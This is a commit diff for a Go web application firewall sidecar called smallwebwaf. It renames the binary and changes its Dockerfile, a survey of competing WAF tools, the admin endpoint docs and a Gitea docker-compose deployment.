1 Commits
Author SHA1 Message Date
sneak f52b1f9ab5 Merge pull request 'next into main' (#205) from next into main
check / check (push) Successful in 3m37s
Reviewed-on: #205
2026-11-07 02:52:39 +01:00
177 changed files with 11507 additions and 30832 deletions

No files matched your search

-42
View File
@@ -1,42 +0,0 @@
# Agents
These are the rules for agents working on this repository.
## Branches
- `main` is the stable branch, and `next` is the development branch.
- Every PR is cut from `next` and targets `next`.
- Only sneak merges `next` into `main`.
- Each issue lands on `next` as one squashed commit whose title ends
` (closes #N)`. A PR may instead be exactly two commits: first tests that fail
against the current code, then the fix with no test assertion changed. Such a
PR lands as both commits.
## Entrypoints
- Work through the `Makefile` targets, which call the scripts in `script/`. The
README's [Entrypoints](README.md#entrypoints) section lists them.
- Never run `go`, `golangci-lint` or prettier directly.
- `make check` passes before every push.
## Editing
- Edit files by hand.
- Format only with `make fmt`, and run it before committing any change.
## Iron rules
- The request log records query strings exactly as received.
- Secrets belong in POST data. An app that puts a secret in a query string
is fixed in the app.
- Never propose redacting a query string, Gitea's `?token=` included.
- The default of `SWRP_TRUSTED_PROXIES` is the RFC 1918 set.
- The set is:
- `10.0.0.0/8`;
- `172.16.0.0/12`;
- `192.168.0.0/16`.
- `SPEC.md` states that default.
- Forwarded headers count only when the peer is a trusted proxy.
- Every time is in UTC, whatever `TZ` or the host's time zone says.
- Every day is a date written `YYYY-MM-DD`, never a time.
- `SPEC.md` states this near its start.
+21 -67
View File
@@ -12,7 +12,7 @@ RUN go mod download
COPY . .
RUN golangci-lint run --config .golangci.yml --build-tags recorded ./...
RUN golangci-lint run --config .golangci.yml ./...
# Test phase, same shape and for the same reason. The go directive in
# go.mod is a minimum, so this Go may be newer than the linter's. The
@@ -20,7 +20,7 @@ RUN golangci-lint run --config .golangci.yml --build-tags recorded ./...
# needs the C compiler it carries.
#
# golang 1.27.1-trixie, 2026-09-19
FROM golang@sha256:3b77fc618ec235a1ab412de7737f120dd507c57e8d87de4cbb7994fb94275ed5 AS test-setup
FROM golang@sha256:3b77fc618ec235a1ab412de7737f120dd507c57e8d87de4cbb7994fb94275ed5 AS test
WORKDIR /src
@@ -35,50 +35,13 @@ COPY . .
RUN go mod tidy -diff || \
{ echo "go.mod or go.sum is not tidy: run make tidy" >&2; exit 1; }
# The two passes below are separate stages so that BuildKit runs them at
# the same time; they share no compiled code, because -race changes every
# package's build.
#
# Go's build cache is kept on a tmpfs, out of the image: nothing uses it
# after this step, and writing it into the image takes seconds. The tests
# are built with the no_fs_access tag, as the binary is in the build stage.
#
# The race detector finds bugs only in code that runs in several goroutines
# at once. Of the Core Rule Set's tests, this pass runs only those written
# to check concurrent inspection, whose names start with TestConcurrent.
# The second pass runs the rest.
FROM test-setup AS test-race
RUN --mount=type=tmpfs,target=/root/.cache/go-build \
others="$(go list ./... | grep -vxF sneak.berlin/go/smallwebwaf/internal/coreruleset)"; \
{ go test -tags no_fs_access -timeout 90s -race -cover $others && \
go test -tags no_fs_access -timeout 90s -race -cover \
-run '^TestConcurrent' ./internal/coreruleset; } || \
go test -tags no_fs_access -timeout 90s -race -cover ./... || \
{ echo "--- Rerunning with -v for details ---"; \
go test -tags no_fs_access -timeout 90s -race -v $others; \
go test -tags no_fs_access -timeout 90s -race -v \
-run '^TestConcurrent' ./internal/coreruleset; \
exit 1; }
# Second pass: every other test of the Core Rule Set, the recorded requests
# among them, without the race detector.
FROM test-setup AS test-recorded
RUN --mount=type=tmpfs,target=/root/.cache/go-build \
go test -tags no_fs_access,recorded -timeout 90s -cover \
-skip '^TestConcurrent' ./internal/coreruleset || \
{ echo "--- Rerunning with -v for details ---"; \
go test -tags no_fs_access,recorded -timeout 90s -v \
-skip '^TestConcurrent' ./internal/coreruleset; \
exit 1; }
# The test phase that script/test and the build stage name. Nothing is
# wanted from the two passes; the copies are what make BuildKit run them.
# It holds nothing else, so script/test's image takes no time to write.
FROM scratch AS test
COPY --from=test-race /src/go.sum /src/go.sum
COPY --from=test-recorded /src/go.sum /src/go.sum
go test -tags no_fs_access -timeout 90s -race -v ./...; exit 1; }
# Tidy stage: `go mod tidy` in the test phase's Go, so that the files it
# writes pass the test phase's check. Nothing else depends on it, so only
@@ -124,7 +87,7 @@ COPY . .
# .git present, a version that is still empty, dev or unknown fails the
# build: git is missing or could not read the checkout. The no_fs_access
# tag keeps Coraza from writing the files of a multipart body to the
# system's temporary directory, since sww writes only to its state
# system's temporary directory, since smallwebwaf writes only to its state
# directory.
ARG VERSION
RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \
@@ -136,7 +99,7 @@ RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \
fi; \
CGO_ENABLED=0 go build -tags no_fs_access -trimpath \
-ldflags="-s -w -X main.Version=${VERSION}" \
-o /usr/local/bin/sww ./cmd/sww
-o /usr/local/bin/smallwebwaf ./cmd/smallwebwaf
# runsvinit, the image's entrypoint, built at the last commit of its
# archived repository. It has no go.mod, and `go build` of its directory
@@ -155,7 +118,7 @@ RUN git checkout --quiet --detach b4b2c785308b1ce785b6155c7fe5f16879080193 \
-o /usr/local/bin/runsvinit .
# The image, described under "Deployment" in SPEC.md. It runs rproxy unless
# SWW_COMMAND says waf, and an app's Dockerfile can build FROM it.
# SMALLWEBWAF_COMMAND says servewaf, and an app's Dockerfile can build FROM it.
# It is the last stage, so a plain `docker build .` builds it.
#
# ubuntu 26.04, 2026-09-27
@@ -173,19 +136,10 @@ RUN mkdir /etc/sysusers.d \
# ca-certificates, nix-bin and runit, from Ubuntu's archive. apt fetches
# them over plain HTTP and checks each one against the archive's signed
# package lists, so no CA certificates are needed.
#
# nix-bin depends on xz-utils, whose install links man pages with
# update-alternatives. The image's dpkg config drops man pages, so each
# link warns. z-man, read after /etc/dpkg/dpkg.cfg.d/excludes, re-includes
# the man1 pages for this install alone; the same step deletes them again,
# so no man page or package is added.
RUN echo 'path-include=/usr/share/man/man1/*' > /etc/dpkg/dpkg.cfg.d/z-man \
&& apt-get update \
RUN apt-get update \
&& DEBIAN_FRONTEND=noninteractive apt-get install --yes --no-install-recommends \
ca-certificates nix-bin runit \
&& rm -rf /var/lib/apt/lists/* /etc/dpkg/dpkg.cfg.d/z-man \
&& find /usr/share/man/man1 ! -type d -delete \
&& find /etc/alternatives -type l -xtype l -delete
&& rm -rf /var/lib/apt/lists/*
# Nix run by root expects a group of build users, which nix-bin does not
# create; with the setting empty, root's builds run without them.
@@ -212,27 +166,27 @@ RUN curl -fsSL -o /tmp/nixexprs.tar.xz \
ENV PATH=${PATH}:/nix/var/nix/profiles/default/bin
COPY --from=runsvinit /usr/local/bin/runsvinit /usr/local/bin/runsvinit
COPY --from=builder /usr/local/bin/sww /usr/local/bin/sww
COPY --from=builder /usr/local/bin/smallwebwaf /usr/local/bin/smallwebwaf
# 65532 is above the uids Ubuntu keeps for system users, which end at
# 999; useradd warns about it unless --key raises that end for this call.
RUN groupadd --system --gid 65532 sww \
RUN groupadd --system --gid 65532 smallwebwaf \
&& useradd --system --key SYS_UID_MAX=65532 --uid 65532 \
--gid sww --no-create-home --shell /usr/sbin/nologin \
sww
--gid smallwebwaf --no-create-home --shell /usr/sbin/nologin \
smallwebwaf
# The state files' directory, SWW_STATE_DIR by default, where a volume
# is mounted to keep them across deploys. At each start of waf, the run
# script makes SWW_STATE_DIR if it is missing and gives it to the sww user.
RUN mkdir /var/lib/sww
# The state files' directory, SWWAF_STATE_DIR by default, where a volume
# is mounted to keep them across deploys. The run script gives it to the
# smallwebwaf user at each start of servewaf.
RUN mkdir /var/lib/smallwebwaf
# The default rule file, in SWW_RULES_DIR by default, where a Dockerfile
# The default rule file, in SWWAF_RULES_DIR by default, where a Dockerfile
# built FROM this image can copy rule files of its own beside it.
COPY share/rules.d/00-default.rules /etc/sww/rules.d/00-default.rules
COPY share/rules.d/00-default.rules /etc/smallwebwaf/rules.d/00-default.rules
# runsvinit starts runit's runsvdir on /etc/service, where Ubuntu's sv
# looks too.
COPY --chmod=755 share/sww.run /etc/service/sww/run
COPY --chmod=755 share/smallwebwaf.run /etc/service/smallwebwaf/run
EXPOSE 8080
@@ -240,6 +194,6 @@ EXPOSE 8080
# check runs every second from the start until it first passes, for up
# to a minute, and every 30 seconds after that.
HEALTHCHECK --start-period=1m --start-interval=1s \
CMD ["/usr/local/bin/sww", "healthcheck"]
CMD ["/usr/local/bin/smallwebwaf", "healthcheck"]
ENTRYPOINT ["/usr/local/bin/runsvinit"]
+46 -58
View File
@@ -12,8 +12,8 @@ configured only by environment variables, that provides:
- R1: rate limits per minute, per hour and per day
- R2: netblocks that bypass rate limiting
- R3: alerts on attacks through webhook, Slack or ntfy
- R4: alerts on anomalies: requests made or bytes transferred per minute or
hour, for given IPs or netblocks, crossing a threshold
- R4: alerts on anomalies: requests or bytes per minute or hour, for given IPs
or netblocks, crossing a threshold
- R5: temporary blocks for abusers, permanent bans for repeat offenders
- R6: one or more RBLs or IP reputation APIs
- R7: AS number lookup
@@ -24,19 +24,14 @@ configured only by environment variables, that provides:
## Verdict
Nothing existing is suitable. No surveyed tool meets R8, which asks for limits
scaled by AS number or country. None meets R4's alerts on bytes transferred. The
tools that come closest on the rest fail R10: they need several containers, YAML
or a web UI. The recommendation is to build a small single-binary sidecar;
`SPEC.md` in this directory begins that spec.
The sidecar reuses the mature parts of the surveyed field instead of
reimplementing them. It takes these as libraries and data sources:
- Coraza and the OWASP Core Rule Set, for attack detection
- DNSBLs
- AbuseIPDB
- optionally, a CrowdSec decision feed
Nothing existing is suitable. No surveyed tool meets R8 (scaling limits by AS
number or country) or the bytes half of R4 at all, and the tools that come
closest on the rest fail R10: they need several containers, YAML or a web UI.
The recommendation is to build a small single-binary sidecar; `SPEC.md` in this
directory begins that spec. It reuses the mature parts of the surveyed field as
libraries and data sources (Coraza and the OWASP Core Rule Set for attack
detection, DNSBLs, AbuseIPDB, optionally a CrowdSec decision feed) instead of
reimplementing them.
Closest existing options, and why each still falls short:
@@ -50,16 +45,13 @@ Closest existing options, and why each still falls short:
external blacklist URLs, optional CrowdSec), R7 partly (AS number used for
blacklist and whitelist decisions), R9 (ModSecurity with the Core Rule
Set, or Coraza plugin), env-var settings.
- Fails:
- R8: AS number and country can only allow or deny, never scale a limit.
- R4: no alerts on request-count or byte thresholds in the free edition;
reporting is a paid feature.
- R5: no escalation for repeat offenders.
- R10: since 1.6 it is not one plain sidecar. It needs a `bunkerweb`
container, a `bw-scheduler` container and a database, or the
all-in-one image that bundles nginx, the scheduler, the UI and Redis.
- It is designed as the proxy in front of many sites, not as a sidecar for
one app. AGPL-3.0.
- Fails: R8 (AS number and country can only allow or deny, never scale a
limit), R4 (no volume or byte threshold alerts in the free edition;
reporting is a paid feature), R5 escalation, and R10 in spirit: since 1.6
it needs a `bunkerweb` container plus a `bw-scheduler` container and a
database, or the all-in-one image that bundles nginx, scheduler, UI and
Redis in one container. It is designed to be the front door for many
sites, not a per-app sidecar. AGPL-3.0.
- Unverified: whether several rates (minute, hour, day) can be stacked on
the same URL pattern; the documented design is one rate per URL pattern.
- CrowdSec is the strongest detection and ban engine, but it is not a proxy.
@@ -74,20 +66,16 @@ Closest existing options, and why each still falls short:
listed AS numbers is possible, but each is a hand-written YAML scenario,
it reacts after the fact by banning, and it is not an inline limiter that
answers 429.
- Fails:
- R10, because it needs:
- the security engine container with persistent state
- log acquisition from traefik
- a bouncer such as the traefik plugin
- YAML for acquisition, profiles, scenarios and notifications
- R4's alerts on bytes.
- Fails: R10 (needs the security engine container with persistent state, log
acquisition from traefik, a bouncer such as the traefik plugin, and YAML
for acquisition, profiles, scenarios and notifications), bytes half of R4.
- CrowdSec plus traefik's own `rateLimit` middleware is the best combination
with no new code. It gives inline limiting (one window per middleware, keyed
by IP, with `sourceCriterion` exclusions), bans with escalation, alerts and
reputation lookups. It still fails R8, R4's alerts on bytes, and R10 entirely:
the configuration lives in traefik labels and CrowdSec YAML on each host, not
in one sidecar's environment. It meets R1's three windows only by chaining
three middlewares per router.
reputation. It still fails R8, the bytes half of R4, R1's three stacked
windows only by chaining three middlewares per router, and R10 entirely: the
configuration lives in traefik labels and CrowdSec YAML on each host, not in
one sidecar's environment.
## Candidate by candidate
@@ -99,10 +87,10 @@ Closest existing options, and why each still falls short:
cached, streamed decision list (recommended), standalone against the
central API, or AppSec only. Supports captcha remediation.
- Covers: R5, R6, R9, R3 and R7 through the engine (see Verdict).
- Misses: the plugin itself does no rate limiting; R8; R4's alerts on bytes.
- Misses: the plugin itself does no rate limiting; R8; R4 bytes.
- Configuration: traefik static config to load the plugin, dynamic config or
labels for the middleware, CrowdSec YAML for everything else.
- Sidecar fit: no. It runs inside traefik and needs a separate engine
- Sidecar fit: no. It lives inside traefik, plus a separate engine
container.
- Maturity: widely used (about 900 stars, listed in the traefik plugin
catalog, documented by CrowdSec itself), actively maintained. Traefik
@@ -127,7 +115,7 @@ Closest existing options, and why each still falls short:
- What it is: nginx-derived (Tengine) reverse proxy with a proprietary
semantic detection engine and a web console. About 22,000 stars.
- Covers: R9 well, basic per-IP rate limiting with block duration, bot
challenge, authentication in front of the app.
challenge, authentication gate.
- Misses: R8, R7, R4; R1 has one window per rule. Country blocking, alert
messages, syslog forwarding and the better reputation database are paid
(Lite about 10 USD per month, Pro about 100 USD per month); the free
@@ -140,7 +128,7 @@ Closest existing options, and why each still falls short:
- Coraza (`corazawaf/coraza`) and Coraza-based proxies
- What it is: a Go library that implements the ModSecurity rule language and
runs the OWASP Core Rule Set. OWASP project, actively maintained, the
successor to ModSecurity, which is now in maintenance only.
successor path now that ModSecurity is in maintenance only.
- Packagings: `coraza-caddy` (Caddy module), `coraza-spoa` (HAProxy),
`coraza-proxy-wasm` (Envoy), a traefik WASM plugin, and
`coreruleset/coraza-crs-docker` (Caddy plus Coraza plus the Core Rule Set,
@@ -154,7 +142,7 @@ Closest existing options, and why each still falls short:
- ModSecurity Core Rule Set containers (`owasp/modsecurity-crs`)
- What it is: official images of Apache or nginx with ModSecurity and the
Core Rule Set, as a reverse proxy configured by env vars (`BACKEND`,
paranoia level, anomaly thresholds, many more). Current images contain
paranoia level, anomaly thresholds, many more). Current images carry
ModSecurity 2.9.x on Apache and Core Rule Set 4.x.
- Covers: R9, and R10 (single container, env vars, one backend).
- Misses: R1 to R8.
@@ -164,16 +152,16 @@ Closest existing options, and why each still falls short:
- Anubis (`TecharoHQ/anubis`), 1.27 current
- What it is: a single-binary reverse proxy that makes browsers solve a
proof-of-work challenge before passing them to `TARGET`. Aimed at
scrapers, which are likely a large share of the unwanted traffic on a
public code forge.
scrapers, which is likely a large share of unwanted traffic on a public
gitea.
- Covers: R10 well (one container, env vars for listener, target,
difficulty, cookies). Policy rules can match on path, user agent, headers,
IP ranges, and with the vendor's hosted data service also AS number and
country, and can weigh a request toward a harder challenge.
- Misses: R1, R3, R4, R5, R6, R9. Bot policy needs a YAML file, not env
vars. AS number and country matching depend on the vendor's hosted
service. Breaks non-browser clients unless paths are exempted; for a code
forge, git-over-HTTP and API paths must be allowed through by rule.
service. Breaks non-browser clients unless paths are exempted; for gitea,
git-over-HTTP and API paths must be allowed through by rule.
- Maturity: very active, widely deployed on code forges since 2025.
- Value here: complementary. It can be chained (traefik, then the sidecar,
then Anubis, then the app) if challenge pages are wanted.
@@ -192,13 +180,13 @@ Closest existing options, and why each still falls short:
temporary ban, no escalation, state lost on traefik restart) and R2
(allowlist). Nothing else.
- `juitde/traefik-plugin-fail2ban`, fail2ban connector plugins, GeoBlock
plugins (country allow or deny through an external lookup API): each adds
one small feature, is configured in traefik and keeps its state in memory.
plugins (country allow or deny through an external lookup API): same
shape, each one small feature, configured in traefik, state in memory.
- Sidecar fit: no; they live inside traefik.
- Traefik built-in middlewares
- `rateLimit` (one average-and-burst window per middleware, optional Redis
in traefik 3.x), `inFlightReq`, `ipAllowList`. No bans, alerts, reputation
lookups or AS number lookups.
or AS number awareness.
- caddy-waf (`fabriziosalmi/caddy-waf`), 0.4.x
- What it is: a Caddy module with regex rules and anomaly scoring, per-IP
and per-path rate limiting with one configurable window, IP and DNS
@@ -210,12 +198,12 @@ Closest existing options, and why each still falls short:
- open-appsec (Check Point)
- Machine-learning WAF agent attached to nginx, Kong, Envoy or similar, with
a declarative policy file or the vendor's cloud console. Covers R9 only;
rate limiting and richer features are in paid tiers. It attaches to an
existing proxy, so it is not the sidecar R10 asks for.
rate limiting and richer features are in paid tiers. Not a sidecar in the
required sense.
- iocaine
- Serves generated garbage pages to clients the fronting proxy classifies as
scrapers. Not a limiter, WAF or ban tool; out of scope, and only of
passing interest for scraper traffic.
scrapers. Not a limiter, WAF or ban tool; out of scope except as a
curiosity for scraper traffic.
- Pangolin
- A tunnelled access platform that bundles traefik and optionally CrowdSec.
Replaces the ingress rather than adding a sidecar; out of scope.
@@ -226,17 +214,17 @@ Closest existing options, and why each still falls short:
Everyone else offers one window per rule or none.
- R2 bypass netblocks: BunkerWeb, CrowdSec, traefik, fail2ban plugins.
- R3 alerts: CrowdSec (best), BunkerWeb (denied requests only), SafeLine (paid).
- R4 alerts on request counts and bytes: none. CrowdSec can approximate alerts
on request counts with a custom scenario; no surveyed tool alerts on bytes.
- R5 temporary then permanent: CrowdSec only. BunkerWeb's ban is either one
fixed length or permanent, and does not change with a client's history.
- R4 volume and byte anomalies: none. CrowdSec can approximate request-count
anomalies with a custom scenario; nothing handles bytes.
- R5 temporary then permanent: CrowdSec only. BunkerWeb has fixed or permanent,
not both by history.
- R6 reputation: CrowdSec, BunkerWeb, go-away, caddy-waf (static lists).
- R7 AS number lookup: CrowdSec (enrichment), BunkerWeb and caddy-waf (allow or
deny), Anubis (hosted service).
- R8 biased thresholds: none.
- R9 attack detection: Coraza or ModSecurity with the Core Rule Set (open,
standard), CrowdSec AppSec, SafeLine (closed engine), BunkerWeb (wraps Coraza
or ModSecurity).
standard), CrowdSec AppSec, SafeLine (closed engine), BunkerWeb (wraps the
first).
- R10 env-var sidecar: `owasp/modsecurity-crs`, `coraza-crs-docker`, Anubis.
None of these covers anything beyond its one job.
+11 -7
View File
@@ -1,12 +1,13 @@
.PHONY: bootstrap setup test lint fmt fmt-check tidy check docker publish \
hooks build run example-app
.PHONY: bootstrap setup test lint fmt fmt-check tidy check docker hooks build \
run example-app gitea-requests gitea-setup
# Makefile targets are thin shims; the implementations live in script/
# per the scripts-to-rule-them-all pattern (see the Entrypoints section
# of README.md). tidy writes go.mod and go.sum as `go mod tidy` does,
# which test checks. build and run are for working on the code by hand;
# example-app checks the image with an app built on it; publish builds
# the image on the Docker host and pushes it to the registry.
# example-app checks the image with an app built on it; gitea-requests
# reports the gitea requests the Core Rule Set refuses at the defaults;
# gitea-setup checks the setup in deploy/gitea.
bootstrap:
@script/bootstrap
@@ -35,9 +36,6 @@ check:
docker:
@script/docker
publish:
@script/publish
hooks:
@script/install-precommit
@@ -49,3 +47,9 @@ run:
example-app:
@script/example-app
gitea-requests:
@script/gitea-requests
gitea-setup:
@script/gitea-setup
+388 -380
View File
File diff suppressed because it is too large. Load diff
+665 -1743
View File
File diff suppressed because it is too large. Load diff
+20
View File
@@ -0,0 +1,20 @@
// Command smallwebwaf is a web application firewall. `smallwebwaf rproxy` is
// the reverse proxy in front of one app, which asks servewaf about each request.
// `smallwebwaf servewaf` decides, for many sites, and keeps what lasts.
// `smallwebwaf healthcheck` is the container's health check. Everything it does
// is in internal/smallwebwaf.
package main
import (
"os"
"sneak.berlin/go/smallwebwaf/internal/smallwebwaf"
)
// Version is the version of the binary, set when it is built with
// -ldflags "-X main.Version=...".
var Version = "dev" //nolint:gochecknoglobals // the linker sets it
func main() {
os.Exit(smallwebwaf.Main(Version))
}
-20
View File
@@ -1,20 +0,0 @@
// Command sww is a web application firewall. `sww rproxy` is the reverse
// proxy in front of one app, which asks waf about each request.
// `sww waf` decides, for many sites, and keeps what lasts. `sww
// healthcheck` is the container's health check. Everything it does is in
// internal/sww.
package main
import (
"os"
"sneak.berlin/go/smallwebwaf/internal/sww"
)
// Version is the version of the binary, set when it is built with
// -ldflags "-X main.Version=...".
var Version = "dev" //nolint:gochecknoglobals // the linker sets it
func main() {
os.Exit(sww.Main(Version))
}
+2 -2
View File
@@ -6,8 +6,8 @@
# A real app names the smallwebwaf image by digest. This one takes the
# image script/example-app has just built, or else the one `make docker`
# builds.
ARG SWW_IMAGE=smallwebwaf
FROM ${SWW_IMAGE}
ARG SMALLWEBWAF_IMAGE=smallwebwaf
FROM ${SMALLWEBWAF_IMAGE}
# Packages the app needs, from the nixpkgs in the image.
RUN nix-env -iA nixpkgs.busybox
+135
View File
@@ -0,0 +1,135 @@
# Gitea behind traefik, with rproxy and servewaf in front of it.
# docs/gitea.md says what each setting here does and why. Before starting it:
# - set SMALLWEBWAF_IMAGE to the smallwebwaf image, named by digest;
# - replace git.example.org with the site's host name;
# - replace each 10.99.0 with the first three numbers of a /24 subnet that
# no other network on the host uses. The /24 must lie inside 10.0.0.0/8,
# 172.16.0.0/12 or 192.168.0.0/16, because rproxy believes
# X-Forwarded-For only from those by default. Replace each fd10:99 with
# the first two hextets of an unused /64 subnet whose third and fourth
# hextets are 0, as in fd10:99::/64;
# - set GITEA_SECRET_KEY to the output of
# `docker run --rm <gitea's image below> gitea generate secret SECRET_KEY`,
# once per install, and keep it.
# Then run `docker compose up --detach` in this directory.
# script/gitea-setup checks this setup.
name: gitea
x-logging: &logging
driver: json-file
options:
max-size: 10m
max-file: "5"
services:
traefik:
# traefik v3.7.17, 2026-11-03
image: traefik@sha256:68ae5fe5b64ca166704b746a9e8afcd385e36b3f569a5691401bf652d57b3748
# traefik replaces the X-Forwarded-For header a visitor sends. Keep it
# so: otherwise a visitor could name an address on the shared network,
# and skip servewaf's checks.
command:
- --providers.docker.exposedbydefault=false
- --entrypoints.web.address=:80
- --entrypoints.web.http.redirections.entrypoint.to=websecure
- --entrypoints.websecure.address=:443
# Until a certificate resolver is added here, as for your other
# sites, traefik answers with a certificate it made itself.
- --entrypoints.websecure.http.tls=true
# traefik's own limit of 60 seconds for a whole request would cut
# off an upload long before rproxy's limit of 30 minutes.
- --entrypoints.websecure.transport.respondingTimeouts.readTimeout=30m
ports:
- 80:80
- 443:443
volumes:
- /var/run/docker.sock:/var/run/docker.sock:ro
networks:
shared:
# Containers on the shared network find traefik under the
# site's name, and so reach it from their own address.
aliases:
- git.example.org
restart: unless-stopped
gitea:
# gitea 1.27.3, 2026-08-29
image: gitea/gitea@sha256:87a67ee09d3ae0d1df5fda5dcda3e2a1f9236a45b0a59025d6e00e46adc43bef
environment:
GITEA__server__ROOT_URL: https://git.example.org/
# Gitea starts at its defaults, with SQLite, instead of showing its
# install page to whoever opens it first.
GITEA__security__INSTALL_LOCK: "true"
GITEA__security__SECRET_KEY: ${GITEA_SECRET_KEY:?set GITEA_SECRET_KEY, see docs/gitea.md}
# Accounts are made with `gitea admin user create`.
GITEA__service__DISABLE_REGISTRATION: "true"
# rproxy's addresses. Gitea then takes each visitor's address from
# the X-Real-Ip header traefik sets and rproxy passes on.
GITEA__security__REVERSE_PROXY_TRUSTED_PROXIES: 10.99.0.2,fd10:99::2
volumes:
- gitea-data:/data
networks:
- shared
restart: unless-stopped
rproxy:
image: ${SMALLWEBWAF_IMAGE:?set SMALLWEBWAF_IMAGE to the smallwebwaf image}
environment:
SWRP_WAF_BACKEND: http://servewaf:8080
SWRP_UPSTREAM_URL: http://gitea:3000
# Pushes, LFS objects, packages and release attachments of up to
# 2 GiB, sent in up to 30 minutes.
SWRP_MAX_REQUEST_SIZE: 2G
SWRP_MAX_REQUEST_TIME_MS: "1800000"
# 15 minutes for a clone or a download, half the default.
SWRP_MAX_RESPONSE_TIME_MS: "900000"
labels:
traefik.enable: "true"
traefik.http.routers.gitea.rule: Host(`git.example.org`)
traefik.http.routers.gitea.entrypoints: websecure
traefik.http.services.gitea.loadbalancer.server.port: "8080"
networks:
shared:
ipv4_address: 10.99.0.2
ipv6_address: fd10:99::2
logging: *logging
restart: unless-stopped
servewaf:
image: ${SMALLWEBWAF_IMAGE:?set SMALLWEBWAF_IMAGE to the smallwebwaf image}
environment:
SMALLWEBWAF_COMMAND: servewaf
# The containers on the shared network skip the checks. Add the
# address of an automation fleet on another host here too; without
# that, it is counted like any client.
SWWAF_ALLOW_NETS: 10.99.0.128/25,fd10:99:0:0:8000::/65
# In block mode the Core Rule Set refuses everyday Gitea searches
# and file names, and 31 refusals in a minute ban the address.
SWWAF_WAF_MODE: detect
volumes:
- servewaf-state:/var/lib/smallwebwaf
networks:
- shared
logging: *logging
restart: unless-stopped
networks:
# The network traefik and Gitea share. Its containers get addresses in the
# upper half of each subnet, which servewaf lets skip the checks. Each
# subnet's gateway, the host's own address on it, stays out of that half:
# requests docker passes on from a published port can come from it.
shared:
enable_ipv6: true
ipam:
config:
- subnet: 10.99.0.0/24
ip_range: 10.99.0.128/25
gateway: 10.99.0.1
- subnet: fd10:99::/64
ip_range: fd10:99:0:0:8000::/65
gateway: fd10:99::1
volumes:
gitea-data:
servewaf-state:
+30 -30
View File
@@ -1,60 +1,60 @@
# Admin endpoints
The endpoints under `/_sww/`, what each takes and what each answers. `sww waf`
answers them at its own address, on the private network. "Admin endpoints" in
[`SPEC.md`](../SPEC.md) says how their tokens work.
The endpoints under `/_smallwebwaf/`, what each takes and what each answers.
`smallwebwaf servewaf` answers them at its own address, on the private network.
"Admin endpoints" in [`SPEC.md`](../SPEC.md) says how their tokens work.
- `GET /_sww/healthz`: `200` and `ok`, to anyone.
- `GET /_sww/metrics`: the metrics, for `SWW_METRICS_TOKEN` (see
- `GET /_smallwebwaf/healthz`: `200` and `ok`, to anyone.
- `GET /_smallwebwaf/metrics`: the metrics, for `SWWAF_METRICS_TOKEN` (see
[`metrics.md`](metrics.md)).
- `GET /_sww/bans`: every ban held, under `bans`, each as `bans.json` lists it.
Needs `SWW_ADMIN_TOKEN`, as do the three below.
- `POST /_sww/bans`: bans a netblock. The body is a JSON object of `netblock`,
`duration` and, if you like, `reason`. `netblock` is a netblock such as
`203.0.113.0/24`, or a client's address, which bans its IPv4 netblock
(`SWW_BAN_SCOPE_V4_PREFIX`) or its IPv6 group. `duration` is a duration such
- `GET /_smallwebwaf/bans`: every ban held, under `bans`, each as `bans.json`
lists it. Needs `SWWAF_ADMIN_TOKEN`, as do the three below.
- `POST /_smallwebwaf/bans`: bans a netblock. The body is a JSON object of
`netblock`, `duration` and, if you like, `reason`. `netblock` is a netblock
such as `203.0.113.0/24`, or a client's address, which bans its IPv4 netblock
(`SWWAF_BAN_SCOPE_V4_PREFIX`) or its IPv6 group. `duration` is a duration such
as `1h` or `7d`, or `permanent`. A bad body is answered `400`, saying what is
wrong:
- one that is not such an object, or has another field;
- one longer than 4 KiB;
- one that names an IPv4-mapped netblock, or an address with a zone.
- `DELETE /_sww/bans/<client>`: lifts every active ban covering the address
`<client>`. It answers `404` when none is active.
- `GET /_sww/clients/<ip>`: what `waf` knows of the client. Under `client`, its
counters and history as `clients.json` holds them, or `null` when
`clients.json` does not hold it. Under `bans`, every ban covering the address,
with its notes.
- `POST /_sww/report`: takes `rproxy`'s report, without a token. It answers
`204`, or `400` to a body that is no report (see "The report" in
- `DELETE /_smallwebwaf/bans/<client>`: lifts every active ban covering the
address `<client>`. It answers `404` when none is active.
- `GET /_smallwebwaf/clients/<ip>`: what `servewaf` knows of the client. Under
`client`, its counters and history as `clients.json` holds them, or `null`
when `clients.json` does not hold it. Under `bans`, every ban covering the
address, with its notes.
- `POST /_smallwebwaf/report`: takes `rproxy`'s report, without a token. It
answers `204`, or `400` to a body that is no report (see "The report" in
[`SPEC.md`](../SPEC.md)).
No check runs on these requests. A missing or wrong token is answered `401`. An
endpoint whose token is unset answers `404`, as does any other path.
`sww rproxy` answers only the health check of these, at its own address. It asks
`waf` about any other request under `/_sww/`. One that passes the checks is
answered `404`, so that the app never sees that prefix (see "`rproxy`" in
[`SPEC.md`](../SPEC.md)).
`smallwebwaf rproxy` answers only the health check of these, at its own address.
It asks `servewaf` about any other request under `/_smallwebwaf/`. One that
passes the checks is answered `404`, so that the app never sees that prefix (see
"`rproxy`" in [`SPEC.md`](../SPEC.md)).
## Examples
With `SWW_ADMIN_TOKEN` set, the token in `$TOKEN`, and `waf` reached as
`waf:8080` on its network:
With `SWWAF_ADMIN_TOKEN` set, the token in `$TOKEN`, and `servewaf` reached as
`servewaf:8080` on its network:
```sh
# Every ban.
curl -H "Authorization: Bearer $TOKEN" http://waf:8080/_sww/bans
curl -H "Authorization: Bearer $TOKEN" http://servewaf:8080/_smallwebwaf/bans
# Ban 203.0.113.0/24 for seven days.
curl -H "Authorization: Bearer $TOKEN" \
--json '{"netblock": "203.0.113.0/24", "duration": "7d", "reason": "probes for logins"}' \
http://waf:8080/_sww/bans
http://servewaf:8080/_smallwebwaf/bans
# Lift the bans on 203.0.113.9.
curl -H "Authorization: Bearer $TOKEN" -X DELETE \
http://waf:8080/_sww/bans/203.0.113.9
http://servewaf:8080/_smallwebwaf/bans/203.0.113.9
# What waf knows of 203.0.113.9.
# What servewaf knows of 203.0.113.9.
curl -H "Authorization: Bearer $TOKEN" \
http://waf:8080/_sww/clients/203.0.113.9
http://servewaf:8080/_smallwebwaf/clients/203.0.113.9
```
+15 -15
View File
@@ -6,12 +6,12 @@ back or dropped.
## Events
- `ban`: a ban `waf` made.
- `ban`: a ban `servewaf` made.
- `permanent_ban`: a permanent ban it made, or an existing ban made permanent by
a request.
- `core_rule_set_match`: the Core Rule Set scored a request at or over the
threshold. The request was refused unless the alert's `detail` gives `mode`:
`detect` or `observe`.
- `waf_block`: the Core Rule Set scored a request at or over the threshold. The
request was refused unless the alert's `detail` gives `mode`: `detect` or
`observe`.
